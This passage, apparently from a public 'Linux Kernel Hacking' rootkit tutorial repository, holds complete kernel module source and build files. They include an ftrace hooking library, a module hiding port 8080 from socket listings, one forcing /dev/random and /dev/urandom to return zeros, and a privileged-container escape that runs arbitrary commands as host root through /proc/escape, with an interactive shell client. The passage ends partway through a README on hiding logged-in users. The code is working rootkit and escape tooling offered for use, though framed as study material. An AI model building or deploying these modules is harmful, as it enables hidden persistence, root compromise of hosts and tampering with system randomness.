register_ftrace_function(&hook->ops); 140 | if(err) 141 | { 142 | printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err); 143 | return err; 144 | } 145 | 146 | return 0; 147 | } 148 | 149 | /* Disabling our function hook is just a simple matter of calling the built-in 150 | * unregister_ftrace_function() and ftrace_set_filter_ip() functions (note the 151 | * opposite order to that in fh_install_hook()). 152 | * */ 153 | void fh_remove_hook(struct ftrace_hook *hook) 154 | { 155 | int err; 156 | err = unregister_ftrace_function(&hook->ops); 157 | if(err) 158 | { 159 | printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err); 160 | } 161 | 162 | err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); 163 | if(err) 164 | { 165 | printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); 166 | } 167 | } 168 | 169 | /* To make it easier to hook multiple functions in one module, this provides 170 | * a simple loop over an array of ftrace_hook struct 171 | * */ 172 | int fh_install_hooks(struct ftrace_hook *hooks, size_t count) 173 | { 174 | int err; 175 | size_t i; 176 | 177 | for (i = 0 ; i < count ; i++) 178 | { 179 | err = fh_install_hook(&hooks[i]); 180 | if(err) 181 | goto error; 182 | } 183 | return 0; 184 | 185 | error: 186 | while (i != 0) 187 | { 188 | fh_remove_hook(&hooks[--i]); 189 | } 190 | return err; 191 | } 192 | 193 | void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) 194 | { 195 | size_t i; 196 | 197 | for (i = 0 ; i < count ; i++) 198 | fh_remove_hook(&hooks[i]); 199 | } 200 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.6_hiding_ports/rootkit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "ftrace_helper.h" 9 | 10 | MODULE_LICENSE("GPL"); 11 | MODULE_AUTHOR("TheXcellerator"); 12 | MODULE_DESCRIPTION("Hiding open ports"); 13 | MODULE_VERSION("0.01"); 14 | 15 | /* Function declaration for the original tcp4_seq_show() function that we 16 | * are going to hook. 17 | * */ 18 | static asmlinkage long (*orig_tcp4_seq_show)(struct seq_file *seq, void *v); 19 | 20 | /* This is our hook function for tcp4_seq_show */ 21 | static asmlinkage long hook_tcp4_seq_show(struct seq_file *seq, void *v) 22 | { 23 | struct inet_sock *is; 24 | long ret; 25 | unsigned short port = htons(8080); 26 | 27 | if (v != SEQ_START_TOKEN) { 28 | is = (struct inet_sock *)v; 29 | if (port == is->inet_sport || port == is->inet_dport) { 30 | printk(KERN_DEBUG "rootkit: sport: %d, dport: %d\n", 31 | ntohs(is->inet_sport), ntohs(is->inet_dport)); 32 | return 0; 33 | } 34 | } 35 | 36 | ret = orig_tcp4_seq_show(seq, v); 37 | return ret; 38 | } 39 | 40 | /* We are going to use the fh_install_hooks() function from ftrace_helper.h 41 | * in the module initialization function. This function takes an array of 42 | * ftrace_hook structs, so we initialize it with what we want to hook 43 | * */ 44 | static struct ftrace_hook hooks[] = { 45 | HOOK("tcp4_seq_show", hook_tcp4_seq_show, &orig_tcp4_seq_show), 46 | }; 47 | 48 | /* Module initialization function */ 49 | static int __init rootkit_init(void) 50 | { 51 | /* Simply call fh_install_hooks() with hooks (defined above) */ 52 | int err; 53 | err = fh_install_hooks(hooks, ARRAY_SIZE(hooks)); 54 | if(err) 55 | return err; 56 | 57 | printk(KERN_INFO "rootkit: Loaded >:-)\n"); 58 | 59 | return 0; 60 | } 61 | 62 | static void __exit rootkit_exit(void) 63 | { 64 | /* Simply call fh_remove_hooks() with hooks (defined above) */ 65 | fh_remove_hooks(hooks, ARRAY_SIZE(hooks)); 66 | printk(KERN_INFO "rootkit: Unloaded :-(\n"); 67 | } 68 | 69 | module_init(rootkit_init); 70 | module_exit(rootkit_exit); 71 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.7_char_interfering/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += rootkit.o 2 | 3 | all: 4 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 5 | 6 | clean: 7 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 8 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.7_char_interfering/README.md: -------------------------------------------------------------------------------- 1 | # Linux Kernel Hacking 2 | 3 | ## 3.6: Interfering with `/dev/random` and `/dev/urandom` 4 | 5 | > There is now a blog post explaining this module in a lot more detail. Check it out [here](https://xcellerator.github.io/posts/linux_rootkits_04/)! 6 | 7 | Both `/dev/random` and `/dev/urandom` are character devices defined in [`drivers/char/random.c`](https://github.com/torvalds/linux/blob/master/drivers/char/random.c). In particular, we care about the `random_fops` and `urandom_fops` structs which tell us which functions are to be called whenever a process tries to read/write/seek/etc the `random` and `urandom` "files". 8 | 9 | [Line 1989](https://github.com/torvalds/linux/blob/c70672d8d316ebd46ea447effadfe57ab7a30a50/drivers/char/random.c#L1989) onwards tells us that [`random_read()`](https://github.com/torvalds/linux/blob/c70672d8d316ebd46ea447effadfe57ab7a30a50/drivers/char/random.c#L1861) and [`urandom_read()`](https://github.com/torvalds/linux/blob/c70672d8d316ebd46ea447effadfe57ab7a30a50/drivers/char/random.c#L1842) are responsible. 10 | 11 | The function hooks only have to call the original read functions, fill a buffer with `0x00`, then copy back this buffer into userspace. All this is achieved with `copy_from_user()` and `copy_to_user()`. 12 | 13 | To use: 14 | * Build with `make` 15 | * Load with `insmod rootkit.ko` 16 | * Read some bytes from `/dev/random` with `dd if=/dev/random bs=1 count=128 | xxd` 17 | * Read some bytes from `/dev/urandom` with `dd if=/dev/urandom bs=1 count=128 | xxd` 18 | * Observe that both reads return nothing but `0x00`! 19 | * Unload with `rmmod rootkit` 20 | 21 | ![random](./random.png "Interfering with char devices") 22 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.7_char_interfering/ftrace_helper.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Helper library for ftrace hooking kernel functions 3 | * Author: Harvey Phillips (xcellerator@gmx.com) 4 | * License: GPL 5 | * */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) 14 | #define PTREGS_SYSCALL_STUBS 1 15 | #endif 16 | 17 | /* 18 | * On Linux kernels 5.7+, kallsyms_lookup_name() is no longer exported, 19 | * so we have to use kprobes to get the address. 20 | * Full credit to @f0lg0 for the idea. 21 | */ 22 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0) 23 | #define KPROBE_LOOKUP 1 24 | #include 25 | static struct kprobe kp = { 26 | .symbol_name = "kallsyms_lookup_name" 27 | }; 28 | #endif 29 | 30 | #define HOOK(_name, _hook, _orig) \ 31 | { \ 32 | .name = (_name), \ 33 | .function = (_hook), \ 34 | .original = (_orig), \ 35 | } 36 | 37 | /* We need to prevent recursive loops when hooking, otherwise the kernel will 38 | * panic and hang. The options are to either detect recursion by looking at 39 | * the function return address, or by jumping over the ftrace call. We use the 40 | * first option, by setting USE_FENTRY_OFFSET = 0, but could use the other by 41 | * setting it to 1. (Oridinarily ftrace provides it's own protections against 42 | * recursion, but it relies on saving return registers in $rip. We will likely 43 | * need the use of the $rip register in our hook, so we have to disable this 44 | * protection and implement our own). 45 | * */ 46 | #define USE_FENTRY_OFFSET 0 47 | #if !USE_FENTRY_OFFSET 48 | #pragma GCC optimize("-fno-optimize-sibling-calls") 49 | #endif 50 | 51 | /* We pack all the information we need (name, hooking function, original function) 52 | * into this struct. This makes is easier for setting up the hook and just passing 53 | * the entire struct off to fh_install_hook() later on. 54 | * */ 55 | struct ftrace_hook { 56 | const char *name; 57 | void *function; 58 | void *original; 59 | 60 | unsigned long address; 61 | struct ftrace_ops ops; 62 | }; 63 | 64 | /* Ftrace needs to know the address of the original function that we 65 | * are going to hook. As before, we just use kallsyms_lookup_name() 66 | * to find the address in kernel memory. 67 | * */ 68 | static int fh_resolve_hook_address(struct ftrace_hook *hook) 69 | { 70 | #ifdef KPROBE_LOOKUP 71 | typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); 72 | kallsyms_lookup_name_t kallsyms_lookup_name; 73 | register_kprobe(&kp); 74 | kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; 75 | unregister_kprobe(&kp); 76 | #endif 77 | hook->address = kallsyms_lookup_name(hook->name); 78 | 79 | if (!hook->address) 80 | { 81 | printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name); 82 | return -ENOENT; 83 | } 84 | 85 | #if USE_FENTRY_OFFSET 86 | *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; 87 | #else 88 | *((unsigned long*) hook->original) = hook->address; 89 | #endif 90 | 91 | return 0; 92 | } 93 | 94 | /* See comment below within fh_install_hook() */ 95 | static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) 96 | { 97 | struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); 98 | 99 | #if USE_FENTRY_OFFSET 100 | regs->ip = (unsigned long) hook->function; 101 | #else 102 | if(!within_module(parent_ip, THIS_MODULE)) 103 | regs->ip = (unsigned long) hook->function; 104 | #endif 105 | } 106 | 107 | /* Assuming we've already set hook->name, hook->function and hook->original, we 108 | * can go ahead and install the hook with ftrace. This is done by setting the 109 | * ops field of hook (see the comment below for more details), and then using 110 | * the built-in ftrace_set_filter_ip() and register_ftrace_function() functions 111 | * provided by ftrace.h 112 | * */ 113 | int fh_install_hook(struct ftrace_hook *hook) 114 | { 115 | int err; 116 | err = fh_resolve_hook_address(hook); 117 | if(err) 118 | return err; 119 | 120 | /* For many of function hooks (especially non-trivial ones), the $rip 121 | * register gets modified, so we have to alert ftrace to this fact. This 122 | * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also 123 | * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because 124 | * the built-in anti-recursion guard provided by ftrace is useless if 125 | * we're modifying $rip. This is why we have to implement our own checks 126 | * (see USE_FENTRY_OFFSET). */ 127 | hook->ops.func = fh_ftrace_thunk; 128 | hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS 129 | | FTRACE_OPS_FL_RECURSION_SAFE 130 | | FTRACE_OPS_FL_IPMODIFY; 131 | 132 | err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); 133 | if(err) 134 | { 135 | printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); 136 | return err; 137 | } 138 | 139 | err = register_ftrace_function(&hook->ops); 140 | if(err) 141 | { 142 | printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err); 143 | return err; 144 | } 145 | 146 | return 0; 147 | } 148 | 149 | /* Disabling our function hook is just a simple matter of calling the built-in 150 | * unregister_ftrace_function() and ftrace_set_filter_ip() functions (note the 151 | * opposite order to that in fh_install_hook()). 152 | * */ 153 | void fh_remove_hook(struct ftrace_hook *hook) 154 | { 155 | int err; 156 | err = unregister_ftrace_function(&hook->ops); 157 | if(err) 158 | { 159 | printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err); 160 | } 161 | 162 | err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); 163 | if(err) 164 | { 165 | printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); 166 | } 167 | } 168 | 169 | /* To make it easier to hook multiple functions in one module, this provides 170 | * a simple loop over an array of ftrace_hook struct 171 | * */ 172 | int fh_install_hooks(struct ftrace_hook *hooks, size_t count) 173 | { 174 | int err; 175 | size_t i; 176 | 177 | for (i = 0 ; i < count ; i++) 178 | { 179 | err = fh_install_hook(&hooks[i]); 180 | if(err) 181 | goto error; 182 | } 183 | return 0; 184 | 185 | error: 186 | while (i != 0) 187 | { 188 | fh_remove_hook(&hooks[--i]); 189 | } 190 | return err; 191 | } 192 | 193 | void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) 194 | { 195 | size_t i; 196 | 197 | for (i = 0 ; i < count ; i++) 198 | fh_remove_hook(&hooks[i]); 199 | } 200 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.7_char_interfering/random.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xcellerator/linux_kernel_hacking/15304817e912a526ce57336011a1cc71aea953b2/3_RootkitTechniques/3.7_char_interfering/random.png -------------------------------------------------------------------------------- /3_RootkitTechniques/3.7_char_interfering/rootkit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "ftrace_helper.h" 8 | 9 | MODULE_LICENSE("GPL"); 10 | MODULE_AUTHOR("TheXcellerator"); 11 | MODULE_DESCRIPTION("Interfering with char devices"); 12 | MODULE_VERSION("0.01"); 13 | 14 | /* Function pointer declarations for the real random_read() and urandom_read() */ 15 | static asmlinkage ssize_t (*orig_random_read)(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos); 16 | static asmlinkage ssize_t (*orig_urandom_read)(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos); 17 | 18 | /* Hook functions for random_read() and urandom_read() */ 19 | static asmlinkage ssize_t hook_random_read(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos) 20 | { 21 | int bytes_read, i; 22 | long error; 23 | char *kbuf = NULL; 24 | 25 | /* Call the real random_read() file operation to set up all the structures */ 26 | bytes_read = orig_random_read(file, buf, nbytes, ppos); 27 | printk(KERN_DEBUG "rootkit: intercepted read to /dev/random: %d bytes\n", bytes_read); 28 | 29 | /* Allocate a kernel buffer that we will copy the random bytes into 30 | * Note that copy_from_user() returns the number of bytes that could NOT be copied 31 | */ 32 | kbuf = kzalloc(bytes_read, GFP_KERNEL); 33 | error = copy_from_user(kbuf, buf, bytes_read); 34 | 35 | if(error) 36 | { 37 | printk(KERN_DEBUG "rootkit: %ld bytes could not be copied into kbuf\n", error); 38 | kfree(kbuf); 39 | return bytes_read; 40 | } 41 | 42 | /* Fill kbuf with 0x00 */ 43 | for ( i = 0 ; i < bytes_read ; i++ ) 44 | kbuf[i] = 0x00; 45 | 46 | /* Copy the rigged kbuf back to userspace 47 | * Note that copy_to_user() returns the number of bytes that could NOT be copied 48 | */ 49 | error = copy_to_user(buf, kbuf, bytes_read); 50 | if (error) 51 | printk(KERN_DEBUG "rootkit: %ld bytes could not be copied into buf\n", error); 52 | 53 | kfree(kbuf); 54 | return bytes_read; 55 | } 56 | 57 | static asmlinkage ssize_t hook_urandom_read(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos) 58 | { 59 | int bytes_read, i; 60 | long error; 61 | char *kbuf = NULL; 62 | 63 | /* Call the real urandom_read() file operation to set up all the structures */ 64 | bytes_read = orig_urandom_read(file, buf, nbytes, ppos); 65 | printk(KERN_DEBUG "rootkit: intercepted call to /dev/urandom: %d bytes", bytes_read); 66 | 67 | /* Allocate a kernel buffer that we will copy the random bytes into. 68 | * Note that copy_from_user() returns the number of bytes the could NOT be copied 69 | */ 70 | kbuf = kzalloc(bytes_read, GFP_KERNEL); 71 | error = copy_from_user(kbuf, buf, bytes_read); 72 | 73 | if(error) 74 | { 75 | printk(KERN_DEBUG "rootkit: %ld bytes could not be copied into kbuf\n", error); 76 | kfree(kbuf); 77 | return bytes_read; 78 | } 79 | 80 | /* Fill kbuf with 0x00 */ 81 | for ( i = 0 ; i < bytes_read ; i++ ) 82 | kbuf[i] = 0x00; 83 | 84 | /* Copy the rigged kbuf back to userspace 85 | * Note that copy_to_user() returns the number of bytes that could NOT be copied 86 | */ 87 | error = copy_to_user(buf, kbuf, bytes_read); 88 | if (error) 89 | printk(KERN_DEBUG "rootkit: %ld bytes could not be copied into buf\n", error); 90 | 91 | kfree(kbuf); 92 | return bytes_read; 93 | } 94 | 95 | /* We are going to use the fh_install_hooks() function from ftrace_helper.h 96 | * in the module initialization function. This function takes an array of 97 | * ftrace_hook structs, so we initialize it with what we want to hook 98 | * */ 99 | static struct ftrace_hook hooks[] = { 100 | HOOK("random_read", hook_random_read, &orig_random_read), 101 | HOOK("urandom_read", hook_urandom_read, &orig_urandom_read), 102 | }; 103 | 104 | /* Module initialization function */ 105 | static int __init rootkit_init(void) 106 | { 107 | /* Simply call fh_install_hooks() with hooks (defined above) */ 108 | int err; 109 | err = fh_install_hooks(hooks, ARRAY_SIZE(hooks)); 110 | if(err) 111 | return err; 112 | 113 | printk(KERN_INFO "rootkit: Loaded >:-)\n"); 114 | 115 | return 0; 116 | } 117 | 118 | static void __exit rootkit_exit(void) 119 | { 120 | /* Simply call fh_remove_hooks() with hooks (defined above) */ 121 | fh_remove_hooks(hooks, ARRAY_SIZE(hooks)); 122 | printk(KERN_INFO "rootkit: Unloaded :-(\n"); 123 | } 124 | 125 | module_init(rootkit_init); 126 | module_exit(rootkit_exit); 127 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.8_privileged_container_escaping/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += escape.o 2 | kmod_name = escape 3 | 4 | all: 5 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 6 | echo "#include " > tmp.c 7 | echo "#include " >> tmp.c 8 | echo "#include " >> tmp.c 9 | echo "" >> tmp.c 10 | xxd -i $(kmod_name).ko >> tmp.c 11 | echo "const char args[] = \"\\\0\";" >> tmp.c 12 | echo "" >> tmp.c 13 | cat stub.c >> tmp.c 14 | cat tmp.c | sed 's/example_ko/$(kmod_name)_ko/g' > load.c 15 | rm tmp.c 16 | gcc -o escape load.c 17 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 18 | gcc -o execute execute.c 19 | rm load.c 20 | 21 | clean: 22 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 23 | rm execute escape 24 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.8_privileged_container_escaping/README.md: -------------------------------------------------------------------------------- 1 | # Linux Kernel Hacking 2 | 3 | ## 3.8: Privileged Container Escapes 4 | 5 | > Full write up [here](https://xcellerator.github.io/posts/docker_escape/)! 6 | 7 | When privileged Linux containers attempt to load kernel modules, the modules are loaded into the host's kernel (because there is only *one* kernel, unlike VMs). This provides a route to an easy container escape. 8 | 9 | Unlike other techniques, this module doesn't contain any syscalls hooks, but merely creates two new proc files; `/proc/escape` and `/proc/output`. 10 | 11 | * `/proc/escape` only answers to write requests and simply executes anything that's passed to it via [`call_usermodehelper()`](https://www.kernel.org/doc/htmldocs/kernel-api/API-call-usermodehelper.html). 12 | * `/proc/output` just takes input and stores it in a buffer when written to, then returns that buffer when it's read from - essentially acting a like a file that both the container and the host can read/write to. 13 | 14 | The clever part is that anything we write to `/proc/escape` gets sandwiched into `/bin/sh -c > /proc/output`. This means that the command is run under `/bin/sh` and the output is redirected to `/proc/output`, which we can then read from within the container. 15 | 16 | Once the module is loaded, you can simply `echo "cat /etc/passwd" > /proc/escape` and then get the result via `cat /proc/output`. Alternatively, you can use the `execute` program to give yourself a makeshift shell (albeit an extraordinarily basic one). 17 | 18 | The only caveat is that we cannot be sure that the container has `kmod` installed (which provides `insmod` and `rmmod`). To overcome this, after building the kernel module, we load it's byte array into a C program, which then uses the `init_module()` syscall to load the module into the kernel without needing `insmod`. If you're interested, take a look at the Makefile. 19 | 20 | To use: 21 | * Build with `make` 22 | * Start a privileged docker container with `docker run -it --privileged --hostname docker --mount "type=bind,src=$PWD,dst=/root" ubuntu` 23 | * `cd /root` in the new container 24 | * Insert the kernel module with `./escape` 25 | * Run `./execute`! 26 | 27 | ![escape](./escape.png) 28 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.8_privileged_container_escaping/escape.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Linux Privileged Container Escape 3 | * 4 | * After building, load with 'insmod escape.ko' 5 | * Then 'echo "cat /etc/passwd" > /proc/escape' will execute 6 | * 'cat /etc/passwd' as root and send the output to /proc/output 7 | * Read /proc/output just like any normal file 8 | */ 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | MODULE_LICENSE("GPL"); 19 | MODULE_AUTHOR("Xcellerator"); 20 | MODULE_DESCRIPTION("Privileged Container Escape"); 21 | MODULE_VERSION("0.01"); 22 | 23 | struct proc_dir_entry *proc_file_entry_escape; 24 | struct proc_dir_entry *proc_file_entry_output; 25 | 26 | char *argv[2]; 27 | char *envp[3]; 28 | 29 | char *cmd_output = NULL; 30 | int cmd_output_len = 0; 31 | 32 | /* 33 | * Execute a process in userspace 34 | */ 35 | int handle_cmd(void) 36 | { 37 | int ret; 38 | 39 | /* 40 | * If, for some reason, we get called before a command is set, just return 41 | */ 42 | if(argv[0] == NULL) 43 | return 0; 44 | 45 | /* 46 | * Execute the command stored in argv 47 | */ 48 | ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); 49 | return ret; 50 | } 51 | 52 | /* 53 | * Grab the string written to /proc/escape, parse it, execute it in userland, 54 | * redirecting output to /proc/output for saving 55 | */ 56 | ssize_t escape_write(struct file *file, const char *buf, size_t len, loff_t *offset) 57 | { 58 | int ret; 59 | char *kbuf = NULL; 60 | long error; 61 | char *suffix = " > /proc/output"; 62 | 63 | /* 64 | * Allocate a kernel buffer to read the command input into 65 | */ 66 | kbuf = kzalloc(len, GFP_KERNEL); 67 | error = copy_from_user(kbuf, buf, len-1); 68 | 69 | if(error) 70 | return -1; 71 | 72 | /* 73 | * call_usermodehelper() requires an array of arguments (argv) 74 | * We're executing /bin/sh -c 'COMMAND > /proc/output' 75 | */ 76 | argv[0] = "/bin/sh"; 77 | argv[1] = "-c"; 78 | argv[2] = kzalloc(len+16, GFP_KERNEL); 79 | 80 | strncpy(argv[2], kbuf, len-1); 81 | strcat(argv[2], suffix); 82 | 83 | /* 84 | * Execute the command stored in argv 85 | */ 86 | printk(KERN_DEBUG "escape: executing %s %s %s\n", argv[0], argv[1], argv[2]); 87 | ret = handle_cmd(); 88 | 89 | /* 90 | * Cleanup and return 91 | */ 92 | kfree(kbuf); 93 | return len; 94 | } 95 | 96 | /* 97 | * Take a buffer from userspace and copy it into the kernel buffer cmd_output 98 | */ 99 | ssize_t output_write(struct file *file, const char *buf, size_t len, loff_t *offset) 100 | { 101 | long error; 102 | 103 | /* 104 | * If cmd_output is already allocated, free it so we can reallocate it with a new size 105 | */ 106 | if(cmd_output_len != 0) 107 | kfree(cmd_output); 108 | 109 | /* 110 | * Allocate cmd_output with size len (from user) 111 | */ 112 | cmd_output = kzalloc(len, GFP_KERNEL); 113 | 114 | /* 115 | * Copy buffer from userspace into cmd_output 116 | */ 117 | error = copy_from_user(cmd_output, buf, len); 118 | if(error) 119 | return -1; 120 | 121 | /* 122 | * Update cmd_output_len to the size of the buffer from userspace 123 | */ 124 | cmd_output_len = len; 125 | 126 | return len; 127 | } 128 | 129 | /* 130 | * Copy the cmd_output buffer into the buf provided by userspace 131 | */ 132 | ssize_t output_read(struct file *file, char *buf, size_t len, loff_t *offset) 133 | { 134 | int ret; 135 | char *kbuf = NULL; 136 | long error; 137 | static int finished = 0; 138 | 139 | /* 140 | * Allocate a new kernel buffer and copy into our new kernel buffer 141 | * so we don't touch cmd_output unnecessarily 142 | */ 143 | kbuf = kzalloc(cmd_output_len, GFP_KERNEL); 144 | strncpy(kbuf, cmd_output, cmd_output_len); 145 | 146 | /* 147 | * Copy the kernel buffer back to userspace 148 | * If we're done, then we return 0 to indicate the userland 149 | * process to stop reading. 150 | */ 151 | if ( finished ) 152 | { 153 | /* 154 | * No more bytes to return, so tell userland we're done 155 | * by returning 0 156 | */ 157 | finished = 0; 158 | ret = 0; 159 | goto out; 160 | } 161 | else 162 | { 163 | /* 164 | * Copy the kernel buffer back to userspace and return the length 165 | */ 166 | finished = 1; 167 | error = copy_to_user(buf, kbuf, cmd_output_len); 168 | if(error) 169 | return -1; 170 | ret = cmd_output_len; 171 | goto out; 172 | } 173 | 174 | /* 175 | * All done - free the kernel buffer and return 176 | */ 177 | out: 178 | kfree(kbuf); 179 | return ret; 180 | } 181 | 182 | /* 183 | * structs for the 2 procfs files we need 184 | * In kernel 5.6+, file_operations is replaced by proc_ops 185 | */ 186 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(5,6,0) 187 | // proc_ops version 188 | static const struct proc_ops proc_file_fops_escape = { 189 | .proc_write = escape_write, 190 | }; 191 | 192 | static const struct proc_ops proc_file_fops_output = { 193 | .proc_write = output_write, 194 | .proc_read = output_read, 195 | }; 196 | #else 197 | // file_operations version 198 | static const struct file_operations proc_file_fops_escape = { 199 | .owner = THIS_MODULE, 200 | .write = escape_write, 201 | }; 202 | 203 | static const struct file_operations proc_file_fops_output = { 204 | .owner = THIS_MODULE, 205 | .read = output_read, 206 | .write = output_write, 207 | }; 208 | #endif 209 | 210 | /* 211 | * LKM init function 212 | */ 213 | static int __init escape_init(void) 214 | { 215 | printk(KERN_INFO "escape: loaded\n"); 216 | 217 | /* 218 | * create the proc entries 219 | */ 220 | proc_file_entry_escape = proc_create("escape", 0666, NULL, &proc_file_fops_escape); 221 | proc_file_entry_output = proc_create("output", 0666, NULL, &proc_file_fops_output); 222 | 223 | /* 224 | * check for failures 225 | */ 226 | if( (proc_file_entry_escape == NULL) || (proc_file_entry_output == NULL) ) 227 | return -ENOMEM; 228 | 229 | return 0; 230 | } 231 | 232 | /* 233 | * LKM exit function 234 | */ 235 | static void __exit escape_exit(void) 236 | { 237 | /* 238 | * Free the cmd_output buffer and delete the proc entries 239 | */ 240 | kfree(cmd_output); 241 | remove_proc_entry("escape", NULL); 242 | remove_proc_entry("output", NULL); 243 | printk(KERN_INFO "escape: unloaded\n"); 244 | } 245 | 246 | module_init(escape_init); 247 | module_exit(escape_exit); 248 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.8_privileged_container_escaping/escape.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xcellerator/linux_kernel_hacking/15304817e912a526ce57336011a1cc71aea953b2/3_RootkitTechniques/3.8_privileged_container_escaping/escape.png -------------------------------------------------------------------------------- /3_RootkitTechniques/3.8_privileged_container_escaping/execute.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | /* 7 | * Write a string to the /proc/escape file 8 | * This will be executed and the output sent to /proc/output 9 | */ 10 | int send_command(char *command) 11 | { 12 | FILE *escape = fopen("/proc/escape", "w+"); 13 | int fd = fileno(escape); 14 | 15 | /* Flush the cache for good measure */ 16 | fprintf(escape, "%s\n", command); 17 | fsync(fd); 18 | 19 | fclose(escape); 20 | return 0; 21 | } 22 | 23 | /* 24 | * Open and print whatever is in /proc/output 25 | */ 26 | int print_output(void) 27 | { 28 | FILE *output = fopen("/proc/output", "r");; 29 | char c; 30 | 31 | while( (c = fgetc(output)) != EOF ) 32 | printf("%c",c); 33 | 34 | fclose(output); 35 | return 0; 36 | } 37 | 38 | /* 39 | * Check escape.ko has been loaded, wait for input and loop 40 | * sending commands to /proc/escape and printing output from 41 | * /proc/output 42 | */ 43 | int main(void) 44 | { 45 | char *command; 46 | command = malloc(255); 47 | 48 | if( access("/proc/escape", F_OK) == -1 ) 49 | { 50 | printf("Please run ./escape first\n"); 51 | goto done; 52 | } 53 | 54 | /* 55 | * Main loop 56 | */ 57 | while( 1 ) 58 | { 59 | printf("# "); 60 | scanf(" %[^\n]", command); 61 | 62 | /* 63 | * Check for "exit" command 64 | */ 65 | if ( strcmp(command, "exit") == 0 ) 66 | goto done; 67 | 68 | /* 69 | * Send to helper functions 70 | * We wait in between to allow IO to flush 71 | */ 72 | send_command(command); 73 | sleep(1); 74 | print_output(); 75 | } 76 | 77 | done: 78 | /* 79 | * Cleanup and exit 80 | */ 81 | free(command); 82 | return 0; 83 | } 84 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.8_privileged_container_escaping/stub.c: -------------------------------------------------------------------------------- 1 | int main(void) 2 | { 3 | int result; 4 | 5 | result = init_module(example_ko, example_ko_len, args); 6 | 7 | if( result != 0 ) 8 | { 9 | printf("Error: %d\n", result); 10 | return(-1); 11 | } 12 | 13 | return(0); 14 | } 15 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.9_hiding_logged_in_users/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += rootkit.o 2 | 3 | all: 4 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 5 | gcc -o enum_utmp enum_utmp.c 6 | 7 | clean: 8 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 9 | rm enum_utmp 10 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.9_hiding_logged_in_users/README.md: -------------------------------------------------------------------------------- 1 | # Linux Kernel Hacking 2 | 3 | ## 3.9: Hiding Logged On Users 4 | 5 | > A blog post is now up with much more detail on how this work! Check it out [here](https://xcellerator.github.io/posts/linux_rootkits_09/)! 6 | 7 | In order to discover active user sessions, *most* userspace programs read the contents of `/var/run/utmp` (if you know of a program that does it another way, please let me know!). This is a binary file filled with `utmp` structs (see `man utmp`, or [`utmp.h`](./utmp.h)). By parsing this file, we can hide entries from userspace for which the `ut_user` field matches a pre-set value (in this case, `root`, but could be anything). 8 | 9 | This works by hooking `sys_openat()` and checking each attempt to open a file for `/var/run/utmp`. If we get a match, we save the file descriptor in a global variable (`tamper_fd`). We also hook `sys_pread64()`, which is the syscall used by programs like `who` and `finger` to read the contents of binary files (like `/var/run/utmp`). In this hook, we wait for a file descriptor match with `tamper_fd`, and then check the `ut_user` field of each struct that gets read. If we find a match, then we fill the entry with `0x0` (in memory, the actual file on disk is never touched!). When the userspace program gets this empty buffer, it simply skips it and moves on the next one. 10 | 11 | Also included in this directory is a program called `enum_utmp`. This program will read, parse and print the contents of `/var/run/utmp` more verbosely than `who` or 